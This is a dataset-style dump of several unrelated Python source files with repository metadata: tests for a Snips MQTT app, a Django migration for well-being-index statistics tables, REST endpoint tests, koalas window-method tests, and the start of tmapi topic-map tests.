"""Tests for the `snipskit.apps.MQTTSnipsApp` class.""" from snipskit.mqtt.apps import MQTTSnipsApp from snipskit.config import AppConfig, SnipsConfig class SimpleMQTTApp(MQTTSnipsApp): """A simple Snips app using MQTT directly to test.""" def initialize(self): pass def test_snips_app_mqtt_default(fs, mocker): """Test whether a `MQTTSnipsApp` object with the default parameters is set up correctly. """ config_file = '/etc/snips.toml' fs.create_file(config_file, contents='[snips-common]\n') assistant_file = '/usr/local/share/snips/assistant/assistant.json' fs.create_file(assistant_file, contents='{"language": "en"}') mocker.patch('paho.mqtt.client.Client.connect') mocker.patch('paho.mqtt.client.Client.loop_forever') mocker.patch('paho.mqtt.client.Client.tls_set') mocker.patch('paho.mqtt.client.Client.username_pw_set') mocker.patch.object(SimpleMQTTApp, 'initialize') app = SimpleMQTTApp() # Check Snips configuration assert app.snips.mqtt.broker_address == 'localhost:1883' # Check assistant configuration assert app.assistant['language'] == 'en' # Check there's no app configuration assert app.config is None # Check MQTT connection assert app.mqtt.username_pw_set.call_count == 0 assert app.mqtt.tls_set.call_count == 0 assert app.mqtt.loop_forever.call_count == 1 app.mqtt.connect.assert_called_once_with('localhost', 1883, 60, '') # Check whether `initialize()` method is called. assert app.initialize.call_count == 1 def test_snips_app_mqtt_default_with_assistant_path(fs, mocker): """Test whether a `MQTTSnipsApp` object with the default parameters and an assistant configuration path in snips.toml is set up correctly. """ config_file = '/etc/snips.toml' fs.create_file(config_file, contents='[snips-common]\n' 'assistant = "/opt/assistant"\n') assistant_file = '/opt/assistant/assistant.json' fs.create_file(assistant_file, contents='{"language": "en"}') mocker.patch('paho.mqtt.client.Client.connect') mocker.patch('paho.mqtt.client.Client.loop_forever') mocker.patch('paho.mqtt.client.Client.tls_set') mocker.patch('paho.mqtt.client.Client.username_pw_set') mocker.patch.object(SimpleMQTTApp, 'initialize') app = SimpleMQTTApp() # Check Snips configuration assert app.snips.mqtt.broker_address == 'localhost:1883' # Check assistant configuration assert app.assistant['language'] == 'en' # Check there's no app configuration assert app.config is None # Check MQTT connection assert app.mqtt.username_pw_set.call_count == 0 assert app.mqtt.tls_set.call_count == 0 assert app.mqtt.loop_forever.call_count == 1 app.mqtt.connect.assert_called_once_with('localhost', 1883, 60, '') # Check whether `initialize()` method is called. assert app.initialize.call_count == 1 def test_snips_app_mqtt_snips_config(fs, mocker): """Test whether a `MQTTSnipsApp` object with a SnipsConfig parameter is set up correctly. """ config_file = '/opt/snips.toml' fs.create_file(config_file, contents='[snips-common]\n' 'mqtt = "mqtt.example.com:1883"\n') assistant_file = '/usr/local/share/snips/assistant/assistant.json' fs.create_file(assistant_file, contents='{"language": "en"}') mocker.patch('paho.mqtt.client.Client.connect') mocker.patch('paho.mqtt.client.Client.loop_forever') mocker.patch('paho.mqtt.client.Client.tls_set') mocker.patch('paho.mqtt.client.Client.username_pw_set') mocker.patch.object(SimpleMQTTApp, 'initialize') snips_config = SnipsConfig(config_file) app = SimpleMQTTApp(snips=snips_config) # Check Snips configuration assert app.snips == snips_config assert app.snips.mqtt.broker_address == 'mqtt.example.com:1883' # Check assistant configuration assert app.assistant['language'] == 'en' # Check there's no app configuration assert app.config is None # Check MQTT connection assert app.mqtt.username_pw_set.call_count == 0 assert app.mqtt.tls_set.call_count == 0 assert app.mqtt.loop_forever.call_count == 1 app.mqtt.connect.assert_called_once_with('mqtt.example.com', 1883, 60, '') # Check whether `initialize()` method is called. assert app.initialize.call_count == 1 def test_snips_app_mqtt_config(fs, mocker): """Test whether a `MQTTSnipsApp` object with an app configuration is set up correctly. """ config_file = '/etc/snips.toml' fs.create_file(config_file, contents='[snips-common]\n') assistant_file = '/usr/local/share/snips/assistant/assistant.json' fs.create_file(assistant_file, contents='{"language": "en"}') app_config_file = 'config.ini' fs.create_file(app_config_file, contents='[secret]\n' 'api-key=foobar\n') mocker.patch('paho.mqtt.client.Client.connect') mocker.patch('paho.mqtt.client.Client.loop_forever') mocker.patch('paho.mqtt.client.Client.tls_set') mocker.patch('paho.mqtt.client.Client.username_pw_set') mocker.patch.object(SimpleMQTTApp, 'initialize') app_config = AppConfig() app = SimpleMQTTApp(config=app_config) # Check Snips configuration assert app.snips.mqtt.broker_address == 'localhost:1883' # Check assistant configuration assert app.assistant['language'] == 'en' # Check the app configuration assert app.config == app_config assert app.config.filename == app_config_file assert app.config['secret']['api-key'] == 'foobar' # Check MQTT connection assert app.mqtt.username_pw_set.call_count == 0 assert app.mqtt.tls_set.call_count == 0 assert app.mqtt.loop_forever.call_count == 1 app.mqtt.connect.assert_called_once_with('localhost', 1883, 60, '') # Check whether `initialize()` method is called. assert app.initialize.call_count == 1

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false

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0

1

0

1

0

null

0

7

ad3e2a81a3110d5efde0f41a58d30adebc14f5f0

11,108

py

Python

app/bns/migrations/0046_wbiperdistrictethnicity_wbiperdistrictgender_wbiperdistricthhtype_wbiperdistrictlivelihood_wbiperlan.py

dianedetoeuf/django_kobo

d437a289e1952bb55fb7004fddbff6b978aa15d6

[ "MIT" ]

1

2018-12-20T07:59:55.000Z

app/bns/migrations/0046_wbiperdistrictethnicity_wbiperdistrictgender_wbiperdistricthhtype_wbiperdistrictlivelihood_wbiperlan.py

dianedetoeuf/django_kobo

d437a289e1952bb55fb7004fddbff6b978aa15d6

[ "MIT" ]

9

2018-11-06T01:51:28.000Z

2018-12-21T22:19:42.000Z

app/bns/migrations/0046_wbiperdistrictethnicity_wbiperdistrictgender_wbiperdistricthhtype_wbiperdistrictlivelihood_wbiperlan.py

dianedetoeuf/django_kobo

d437a289e1952bb55fb7004fddbff6b978aa15d6

[ "MIT" ]

2

2018-11-21T15:13:32.000Z

2020-02-19T08:39:37.000Z

# Generated by Django 2.0.5 on 2018-09-13 16:41 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('bns', '0045_wbi_livelihood'), ] operations = [ migrations.CreateModel( name='WBIPerDistrictEthnicity', fields=[ ('id', models.BigIntegerField(primary_key=True, serialize=False)), ('dataset_year', models.IntegerField(blank=True, null=True)), ('ethnicity', models.TextField(blank=True, null=True)), ('district', models.TextField(blank=True, null=True)), ('landscape', models.TextField(blank=True, null=True)), ('avg_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('stddev_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('n', models.IntegerField(blank=True, null=True)), ], options={ 'db_table': 'bns_wbi_district_ethnicity', 'managed': False, }, ), migrations.CreateModel( name='WBIPerDistrictGender', fields=[ ('id', models.BigIntegerField(primary_key=True, serialize=False)), ('dataset_year', models.IntegerField(blank=True, null=True)), ('gender', models.TextField(blank=True, null=True)), ('district', models.TextField(blank=True, null=True)), ('landscape', models.TextField(blank=True, null=True)), ('avg_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('stddev_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('n', models.IntegerField(blank=True, null=True)), ], options={ 'db_table': 'bns_wbi_district_gender', 'managed': False, }, ), migrations.CreateModel( name='WBIPerDistrictHHType', fields=[ ('id', models.BigIntegerField(primary_key=True, serialize=False)), ('dataset_year', models.IntegerField(blank=True, null=True)), ('hh_type', models.TextField(blank=True, null=True)), ('district', models.TextField(blank=True, null=True)), ('landscape', models.TextField(blank=True, null=True)), ('avg_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('stddev_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('n', models.IntegerField(blank=True, null=True)), ], options={ 'db_table': 'bns_wbi_district_hh_type', 'managed': False, }, ), migrations.CreateModel( name='WBIPerDistrictLivelihood', fields=[ ('id', models.BigIntegerField(primary_key=True, serialize=False)), ('dataset_year', models.IntegerField(blank=True, null=True)), ('livelihood_1', models.TextField(blank=True, null=True)), ('district', models.TextField(blank=True, null=True)), ('landscape', models.TextField(blank=True, null=True)), ('avg_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('stddev_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('n', models.IntegerField(blank=True, null=True)), ], options={ 'db_table': 'bns_wbi_district_livelihood', 'managed': False, }, ), migrations.CreateModel( name='WBIPerLandscapeEthnicity', fields=[ ('id', models.BigIntegerField(primary_key=True, serialize=False)), ('dataset_year', models.IntegerField(blank=True, null=True)), ('ethnicity', models.TextField(blank=True, null=True)), ('landscape', models.TextField(blank=True, null=True)), ('avg_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('stddev_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('n', models.IntegerField(blank=True, null=True)), ], options={ 'db_table': 'bns_wbi_landscape_ethnicity', 'managed': False, }, ), migrations.CreateModel( name='WBIPerLandscapeGender', fields=[ ('id', models.BigIntegerField(primary_key=True, serialize=False)), ('dataset_year', models.IntegerField(blank=True, null=True)), ('gender', models.TextField(blank=True, null=True)), ('landscape', models.TextField(blank=True, null=True)), ('avg_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('stddev_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('n', models.IntegerField(blank=True, null=True)), ], options={ 'db_table': 'bns_wbi_landscape_gender', 'managed': False, }, ), migrations.CreateModel( name='WBIPerLandscapeHHType', fields=[ ('id', models.BigIntegerField(primary_key=True, serialize=False)), ('dataset_year', models.IntegerField(blank=True, null=True)), ('hh_type', models.TextField(blank=True, null=True)), ('landscape', models.TextField(blank=True, null=True)), ('avg_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('stddev_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('n', models.IntegerField(blank=True, null=True)), ], options={ 'db_table': 'bns_wbi_landscape_hh_type', 'managed': False, }, ), migrations.CreateModel( name='WBIPerLandscapeLivelihood', fields=[ ('id', models.BigIntegerField(primary_key=True, serialize=False)), ('dataset_year', models.IntegerField(blank=True, null=True)), ('livelihood_1', models.TextField(blank=True, null=True)), ('landscape', models.TextField(blank=True, null=True)), ('avg_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('stddev_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('n', models.IntegerField(blank=True, null=True)), ], options={ 'db_table': 'bns_wbi_landscape_livelihood', 'managed': False, }, ), migrations.CreateModel( name='WBIPerVillageEthnicity', fields=[ ('id', models.BigIntegerField(primary_key=True, serialize=False)), ('dataset_year', models.IntegerField(blank=True, null=True)), ('ethnicity', models.TextField(blank=True, null=True)), ('village', models.TextField(blank=True, null=True)), ('district', models.TextField(blank=True, null=True)), ('landscape', models.TextField(blank=True, null=True)), ('avg_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('stddev_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('n', models.IntegerField(blank=True, null=True)), ], options={ 'db_table': 'bns_wbi_village_ethnicity', 'managed': False, }, ), migrations.CreateModel( name='WBIPerVillageGender', fields=[ ('id', models.BigIntegerField(primary_key=True, serialize=False)), ('dataset_year', models.IntegerField(blank=True, null=True)), ('gender', models.TextField(blank=True, null=True)), ('village', models.TextField(blank=True, null=True)), ('district', models.TextField(blank=True, null=True)), ('landscape', models.TextField(blank=True, null=True)), ('avg_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('stddev_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('n', models.IntegerField(blank=True, null=True)), ], options={ 'db_table': 'bns_wbi_village_gender', 'managed': False, }, ), migrations.CreateModel( name='WBIPerVillageHHType', fields=[ ('id', models.BigIntegerField(primary_key=True, serialize=False)), ('dataset_year', models.IntegerField(blank=True, null=True)), ('hh_type', models.TextField(blank=True, null=True)), ('village', models.TextField(blank=True, null=True)), ('district', models.TextField(blank=True, null=True)), ('landscape', models.TextField(blank=True, null=True)), ('avg_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('stddev_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('n', models.IntegerField(blank=True, null=True)), ], options={ 'db_table': 'bns_wbi_village_hh_type', 'managed': False, }, ), migrations.CreateModel( name='WBIPerVillageLivelihood', fields=[ ('id', models.BigIntegerField(primary_key=True, serialize=False)), ('dataset_year', models.IntegerField(blank=True, null=True)), ('livelihood_1', models.TextField(blank=True, null=True)), ('village', models.TextField(blank=True, null=True)), ('district', models.TextField(blank=True, null=True)), ('landscape', models.TextField(blank=True, null=True)), ('avg_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('stddev_wbi', models.DecimalField(blank=True, decimal_places=6, max_digits=29, null=True)), ('n', models.IntegerField(blank=True, null=True)), ], options={ 'db_table': 'bns_wbi_village_livelihood', 'managed': False, }, ), ]

50.954128

108

0.555275

1,069

11,108

5.624883

0.069224

0.125728

0.129719

0.169632

0.924996

0.864959

0.843506

0

0.012123

0.301945

11,108

217

109

51.18894

0.763348

0.004051

0

0.796209

1

0

0.131001

0.043667

0

1

0

false

0

0.004739

0

0.018957

0

null

0

1

0

1

0

null

0

9

ad97d41840b1e674c9a252d1ff0a7f004c855680

1,973

py

Python

ozone-framework-python-server/tests/test_system_version_view.py

aamduka/ozone

3fdbf232f5ea70661204a632e45310ca9d374973

[ "Apache-2.0" ]

6

2020-02-21T22:06:31.000Z

2020-12-08T10:48:07.000Z

ozone-framework-python-server/tests/test_system_version_view.py

aamduka/ozone

3fdbf232f5ea70661204a632e45310ca9d374973

[ "Apache-2.0" ]

12

2019-12-26T17:38:40.000Z

2022-02-10T14:15:55.000Z

ozone-framework-python-server/tests/test_system_version_view.py

aamduka/ozone

3fdbf232f5ea70661204a632e45310ca9d374973

[ "Apache-2.0" ]

4

2019-08-05T13:22:29.000Z

2021-07-21T16:04:03.000Z

from rest_framework.test import APIClient from django.test import TestCase from django.conf import settings requests = APIClient() class SimpleSystemVersionTest(TestCase): fixtures = ['resources/fixtures/default_data.json', ] def test_authentication(self): requests.login(email='admin@goss.com', password='password') request = requests.get('/system-version') self.assertEqual(request.status_code, 200) requests.logout() requests.login(email='user@goss.com', password='password') request = requests.get('/system-version') self.assertEqual(request.status_code, 200) requests.logout() request = requests.get('/system-version') self.assertEqual(request.status_code, 403) def test_get_system_version(self): requests.login(email='admin@goss.com', password='password') request = requests.get('/system-version') self.assertEqual(request.data, {'version': settings.SYSTEM_VERSION}) requests.logout() def test_post_system_version(self): requests.login(email='admin@goss.com', password='password') request = requests.post('/system-version') self.assertEqual(request.status_code, 405) requests.logout() def test_put_system_version(self): requests.login(email='admin@goss.com', password='password') request = requests.put('/system-version') self.assertEqual(request.status_code, 405) requests.logout() def test_patch_system_version(self): requests.login(email='admin@goss.com', password='password') request = requests.patch('/system-version') self.assertEqual(request.status_code, 405) requests.logout() def test_delete_system_version(self): requests.login(email='admin@goss.com', password='password') request = requests.delete('/system-version') self.assertEqual(request.status_code, 405) requests.logout()

37.226415

76

0.68373

221

1,973

5.986425

0.19457

0.137566

0.167045

0.169312

0.750567

0

0.013125

0.189052

1,973

52

77

37.942308

0.81375

0

0.547619

0

0.160162

0.018246

0

0.190476

1

0.142857

false

0.166667

0.071429

0

0.261905

0

null

0

1

0

1

0

null

0

1

0

7

d1363d32428bbf0ca420ee94d7773b4958aa4a07

21

py

Python

ms5837/__init__.py

rgov/ms5837-python

ff2de6476c8f7e6fe9b3d8182e34b0f3dd2e65c8

[ "MIT" ]

null

ms5837/__init__.py

rgov/ms5837-python

ff2de6476c8f7e6fe9b3d8182e34b0f3dd2e65c8

[ "MIT" ]

null

ms5837/__init__.py

rgov/ms5837-python

ff2de6476c8f7e6fe9b3d8182e34b0f3dd2e65c8

[ "MIT" ]

null

from ms5837 import *

10.5

20

0.761905

3

21

5.333333

1

0

0.235294

0.190476

21

1

21

0.705882

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

7

0f1873d8287129110ff0bd37228c8beb922a7a58

94

py

Python

register/admin/__init__.py

Ajuajmal/heroku

f23aad8c392a273caf0da39cedeec4746ded29dc

[ "0BSD" ]

null

register/admin/__init__.py

Ajuajmal/heroku

f23aad8c392a273caf0da39cedeec4746ded29dc

[ "0BSD" ]

null

register/admin/__init__.py

Ajuajmal/heroku

f23aad8c392a273caf0da39cedeec4746ded29dc

[ "0BSD" ]

null

import register.admin.accommodation import register.admin.attendee import register.admin.food

23.5

35

0.87234

12

94

6.833333

0.5

0.512195

0.695122

0

0.06383

94

3

36

31.333333

0.931818

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

0f3b29bae0983241619f39587a054b363f7e68e2

13,075

py

Python

databricks/koalas/tests/test_window.py

varunsh-coder/koalas

1cfc9ec76a1b023d89870688bf802cf58df537f1

[ "Apache-2.0" ]

3,211

2019-04-22T04:40:50.000Z

2022-03-31T10:42:31.000Z

databricks/koalas/tests/test_window.py

varunsh-coder/koalas

1cfc9ec76a1b023d89870688bf802cf58df537f1

[ "Apache-2.0" ]

2,017

2019-04-21T23:37:12.000Z

2022-03-24T03:48:51.000Z

databricks/koalas/tests/test_window.py

varunsh-coder/koalas

1cfc9ec76a1b023d89870688bf802cf58df537f1

[ "Apache-2.0" ]

375

2019-04-21T23:58:57.000Z

2022-03-30T00:42:19.000Z

# # Copyright (C) 2019 Databricks, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import inspect from databricks import koalas as ks from databricks.koalas.exceptions import PandasNotImplementedError from databricks.koalas.missing.window import ( MissingPandasLikeExpanding, MissingPandasLikeRolling, MissingPandasLikeExpandingGroupby, MissingPandasLikeRollingGroupby, ) from databricks.koalas.testing.utils import ReusedSQLTestCase, TestUtils class ExpandingRollingTest(ReusedSQLTestCase, TestUtils): def test_missing(self): kdf = ks.DataFrame({"a": [1, 2, 3, 4, 5, 6, 7, 8, 9]}) # Expanding functions missing_functions = inspect.getmembers(MissingPandasLikeExpanding, inspect.isfunction) unsupported_functions = [ name for (name, type_) in missing_functions if type_.__name__ == "unsupported_function" ] for name in unsupported_functions: with self.assertRaisesRegex( PandasNotImplementedError, "method.*Expanding.*{}.*not implemented( yet\\.|\\. .+)".format(name), ): getattr(kdf.expanding(1), name)() # Frame with self.assertRaisesRegex( PandasNotImplementedError, "method.*Expanding.*{}.*not implemented( yet\\.|\\. .+)".format(name), ): getattr(kdf.a.expanding(1), name)() # Series deprecated_functions = [ name for (name, type_) in missing_functions if type_.__name__ == "deprecated_function" ] for name in deprecated_functions: with self.assertRaisesRegex( PandasNotImplementedError, "method.*Expanding.*{}.*is deprecated".format(name) ): getattr(kdf.expanding(1), name)() # Frame with self.assertRaisesRegex( PandasNotImplementedError, "method.*Expanding.*{}.*is deprecated".format(name) ): getattr(kdf.a.expanding(1), name)() # Series # Rolling functions missing_functions = inspect.getmembers(MissingPandasLikeRolling, inspect.isfunction) unsupported_functions = [ name for (name, type_) in missing_functions if type_.__name__ == "unsupported_function" ] for name in unsupported_functions: with self.assertRaisesRegex( PandasNotImplementedError, "method.*Rolling.*{}.*not implemented( yet\\.|\\. .+)".format(name), ): getattr(kdf.rolling(1), name)() # Frame with self.assertRaisesRegex( PandasNotImplementedError, "method.*Rolling.*{}.*not implemented( yet\\.|\\. .+)".format(name), ): getattr(kdf.a.rolling(1), name)() # Series deprecated_functions = [ name for (name, type_) in missing_functions if type_.__name__ == "deprecated_function" ] for name in deprecated_functions: with self.assertRaisesRegex( PandasNotImplementedError, "method.*Rolling.*{}.*is deprecated".format(name) ): getattr(kdf.rolling(1), name)() # Frame with self.assertRaisesRegex( PandasNotImplementedError, "method.*Rolling.*{}.*is deprecated".format(name) ): getattr(kdf.a.rolling(1), name)() # Series # Expanding properties missing_properties = inspect.getmembers( MissingPandasLikeExpanding, lambda o: isinstance(o, property) ) unsupported_properties = [ name for (name, type_) in missing_properties if type_.fget.__name__ == "unsupported_property" ] for name in unsupported_properties: with self.assertRaisesRegex( PandasNotImplementedError, "property.*Expanding.*{}.*not implemented( yet\\.|\\. .+)".format(name), ): getattr(kdf.expanding(1), name) # Frame with self.assertRaisesRegex( PandasNotImplementedError, "property.*Expanding.*{}.*not implemented( yet\\.|\\. .+)".format(name), ): getattr(kdf.a.expanding(1), name) # Series deprecated_properties = [ name for (name, type_) in missing_properties if type_.fget.__name__ == "deprecated_property" ] for name in deprecated_properties: with self.assertRaisesRegex( PandasNotImplementedError, "property.*Expanding.*{}.*is deprecated".format(name) ): getattr(kdf.expanding(1), name) # Frame with self.assertRaisesRegex( PandasNotImplementedError, "property.*Expanding.*{}.*is deprecated".format(name) ): getattr(kdf.a.expanding(1), name) # Series # Rolling properties missing_properties = inspect.getmembers( MissingPandasLikeRolling, lambda o: isinstance(o, property) ) unsupported_properties = [ name for (name, type_) in missing_properties if type_.fget.__name__ == "unsupported_property" ] for name in unsupported_properties: with self.assertRaisesRegex( PandasNotImplementedError, "property.*Rolling.*{}.*not implemented( yet\\.|\\. .+)".format(name), ): getattr(kdf.rolling(1), name)() # Frame with self.assertRaisesRegex( PandasNotImplementedError, "property.*Rolling.*{}.*not implemented( yet\\.|\\. .+)".format(name), ): getattr(kdf.a.rolling(1), name)() # Series deprecated_properties = [ name for (name, type_) in missing_properties if type_.fget.__name__ == "deprecated_property" ] for name in deprecated_properties: with self.assertRaisesRegex( PandasNotImplementedError, "property.*Rolling.*{}.*is deprecated".format(name) ): getattr(kdf.rolling(1), name)() # Frame with self.assertRaisesRegex( PandasNotImplementedError, "property.*Rolling.*{}.*is deprecated".format(name) ): getattr(kdf.a.rolling(1), name)() # Series def test_missing_groupby(self): kdf = ks.DataFrame({"a": [1, 2, 3, 4, 5, 6, 7, 8, 9]}) # Expanding functions missing_functions = inspect.getmembers( MissingPandasLikeExpandingGroupby, inspect.isfunction ) unsupported_functions = [ name for (name, type_) in missing_functions if type_.__name__ == "unsupported_function" ] for name in unsupported_functions: with self.assertRaisesRegex( PandasNotImplementedError, "method.*Expanding.*{}.*not implemented( yet\\.|\\. .+)".format(name), ): getattr(kdf.groupby("a").expanding(1), name)() # Frame with self.assertRaisesRegex( PandasNotImplementedError, "method.*Expanding.*{}.*not implemented( yet\\.|\\. .+)".format(name), ): getattr(kdf.a.groupby(kdf.a).expanding(1), name)() # Series deprecated_functions = [ name for (name, type_) in missing_functions if type_.__name__ == "deprecated_function" ] for name in deprecated_functions: with self.assertRaisesRegex( PandasNotImplementedError, "method.*Expanding.*{}.*is deprecated".format(name) ): getattr(kdf.groupby("a").expanding(1), name)() # Frame with self.assertRaisesRegex( PandasNotImplementedError, "method.*Expanding.*{}.*is deprecated".format(name) ): getattr(kdf.a.groupby(kdf.a).expanding(1), name)() # Series # Rolling functions missing_functions = inspect.getmembers(MissingPandasLikeRollingGroupby, inspect.isfunction) unsupported_functions = [ name for (name, type_) in missing_functions if type_.__name__ == "unsupported_function" ] for name in unsupported_functions: with self.assertRaisesRegex( PandasNotImplementedError, "method.*Rolling.*{}.*not implemented( yet\\.|\\. .+)".format(name), ): getattr(kdf.groupby("a").rolling(1), name)() # Frame with self.assertRaisesRegex( PandasNotImplementedError, "method.*Rolling.*{}.*not implemented( yet\\.|\\. .+)".format(name), ): getattr(kdf.a.groupby(kdf.a).rolling(1), name)() # Series deprecated_functions = [ name for (name, type_) in missing_functions if type_.__name__ == "deprecated_function" ] for name in deprecated_functions: with self.assertRaisesRegex( PandasNotImplementedError, "method.*Rolling.*{}.*is deprecated".format(name) ): getattr(kdf.rolling(1), name)() # Frame with self.assertRaisesRegex( PandasNotImplementedError, "method.*Rolling.*{}.*is deprecated".format(name) ): getattr(kdf.a.rolling(1), name)() # Series # Expanding properties missing_properties = inspect.getmembers( MissingPandasLikeExpandingGroupby, lambda o: isinstance(o, property) ) unsupported_properties = [ name for (name, type_) in missing_properties if type_.fget.__name__ == "unsupported_property" ] for name in unsupported_properties: with self.assertRaisesRegex( PandasNotImplementedError, "property.*Expanding.*{}.*not implemented( yet\\.|\\. .+)".format(name), ): getattr(kdf.groupby("a").expanding(1), name)() # Frame with self.assertRaisesRegex( PandasNotImplementedError, "property.*Expanding.*{}.*not implemented( yet\\.|\\. .+)".format(name), ): getattr(kdf.a.groupby(kdf.a).expanding(1), name)() # Series deprecated_properties = [ name for (name, type_) in missing_properties if type_.fget.__name__ == "deprecated_property" ] for name in deprecated_properties: with self.assertRaisesRegex( PandasNotImplementedError, "property.*Expanding.*{}.*is deprecated".format(name) ): getattr(kdf.expanding(1), name) # Frame with self.assertRaisesRegex( PandasNotImplementedError, "property.*Expanding.*{}.*is deprecated".format(name) ): getattr(kdf.a.expanding(1), name) # Series # Rolling properties missing_properties = inspect.getmembers( MissingPandasLikeRollingGroupby, lambda o: isinstance(o, property) ) unsupported_properties = [ name for (name, type_) in missing_properties if type_.fget.__name__ == "unsupported_property" ] for name in unsupported_properties: with self.assertRaisesRegex( PandasNotImplementedError, "property.*Rolling.*{}.*not implemented( yet\\.|\\. .+)".format(name), ): getattr(kdf.groupby("a").rolling(1), name)() # Frame with self.assertRaisesRegex( PandasNotImplementedError, "property.*Rolling.*{}.*not implemented( yet\\.|\\. .+)".format(name), ): getattr(kdf.a.groupby(kdf.a).rolling(1), name)() # Series deprecated_properties = [ name for (name, type_) in missing_properties if type_.fget.__name__ == "deprecated_property" ] for name in deprecated_properties: with self.assertRaisesRegex( PandasNotImplementedError, "property.*Rolling.*{}.*is deprecated".format(name) ): getattr(kdf.rolling(1), name)() # Frame with self.assertRaisesRegex( PandasNotImplementedError, "property.*Rolling.*{}.*is deprecated".format(name) ): getattr(kdf.a.rolling(1), name)() # Series

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null

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1

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null

0

8

0f44107664f55734f8d25b15a9df939bfd53701c

344

py

Python

07_Java_Experiment/PyTest/fileutil/__init__.py

Robert-Stackflow/HUST-Courses

300752552e7af035b0e5c7663953850c81871242

[ "MIT" ]

4

2021-11-01T09:27:32.000Z

2022-03-07T14:24:10.000Z

07_Java_Experiment/PyTest/fileutil/__init__.py

Robert-Stackflow/HUST-Courses

300752552e7af035b0e5c7663953850c81871242

[ "MIT" ]

null

07_Java_Experiment/PyTest/fileutil/__init__.py

Robert-Stackflow/HUST-Courses

300752552e7af035b0e5c7663953850c81871242

[ "MIT" ]

null

from fileutil.utils import find_file_suffix from fileutil.utils import find_file_name_without_suffix from fileutil.utils import find_compressed_files from fileutil.utils import remove_dir from fileutil.utils import remove_subdir from fileutil.utils import find_files from fileutil.utils import copy_dir from fileutil.utils import write_to_file

38.222222

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null

0

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0

1

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8

0f4641198c087d260c6b8e0f5bdb58a27ce0dc14

10,129

py

Python

tmapi/tests/models/test_topic_map.py

ajenhl/django-tmapi

02f009e1b508218cf330ca7748c3a1dd110f3e8d

[ "Apache-2.0" ]

2

2015-03-22T03:23:36.000Z

2017-01-08T10:57:18.000Z

tmapi/tests/models/test_topic_map.py

ajenhl/django-tmapi

02f009e1b508218cf330ca7748c3a1dd110f3e8d

[ "Apache-2.0" ]

null

tmapi/tests/models/test_topic_map.py

ajenhl/django-tmapi

02f009e1b508218cf330ca7748c3a1dd110f3e8d

[ "Apache-2.0" ]

1

2020-12-28T04:40:34.000Z

# Copyright 2011 Jamie Norrish (jamie@artefact.org.nz) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Module containing tests for the TopicMap model. Most if not all of these tests are ported from the public domain tests that come with the TMAPI 2.0 distribution (http://www.tmapi.org/2.0/). """ from tmapi.exceptions import ModelConstraintException, \ UnsupportedOperationException from tmapi_test_case import TMAPITestCase class TopicMapTest (TMAPITestCase): def test_parent (self): """Tests if TopicMap.get_parent() returns None.""" self.assertEqual(None, self.tm.get_parent()) def test_topic_creation_subject_identifier (self): locator = self.create_locator('http://www.example.org/') self.assertEqual(0, self.tm.get_topics().count()) topic = self.tm.create_topic_by_subject_identifier(locator) self.assertEqual(1, self.tm.get_topics().count()) self.assertTrue(topic in self.tm.get_topics()) self.assertEqual(1, topic.get_subject_identifiers().count()) self.assertEqual(0, topic.get_item_identifiers().count()) self.assertEqual(0, topic.get_subject_locators().count()) locator2 = topic.get_subject_identifiers()[0] self.assertEqual(locator, locator2) def test_topic_creation_subject_identifier_illegal (self): self.assertRaises(ModelConstraintException, self.tm.create_topic_by_subject_identifier, None) def test_topic_creation_subject_locator (self): locator = self.create_locator('http://www.example.org/') self.assertEqual(0, self.tm.get_topics().count()) topic = self.tm.create_topic_by_subject_locator(locator) self.assertEqual(1, self.tm.get_topics().count()) self.assertTrue(topic in self.tm.get_topics()) self.assertEqual(1, topic.get_subject_locators().count()) self.assertEqual(0, topic.get_item_identifiers().count()) self.assertEqual(0, topic.get_subject_identifiers().count()) locator2 = topic.get_subject_locators()[0] self.assertEqual(locator, locator2) def test_topic_creation_subject_locator_illegal (self): self.assertRaises(ModelConstraintException, self.tm.create_topic_by_subject_locator, None) def test_topic_creation_item_identifier (self): locator = self.create_locator('http://www.example.org/') self.assertEqual(0, self.tm.get_topics().count()) topic = self.tm.create_topic_by_item_identifier(locator) self.assertEqual(1, 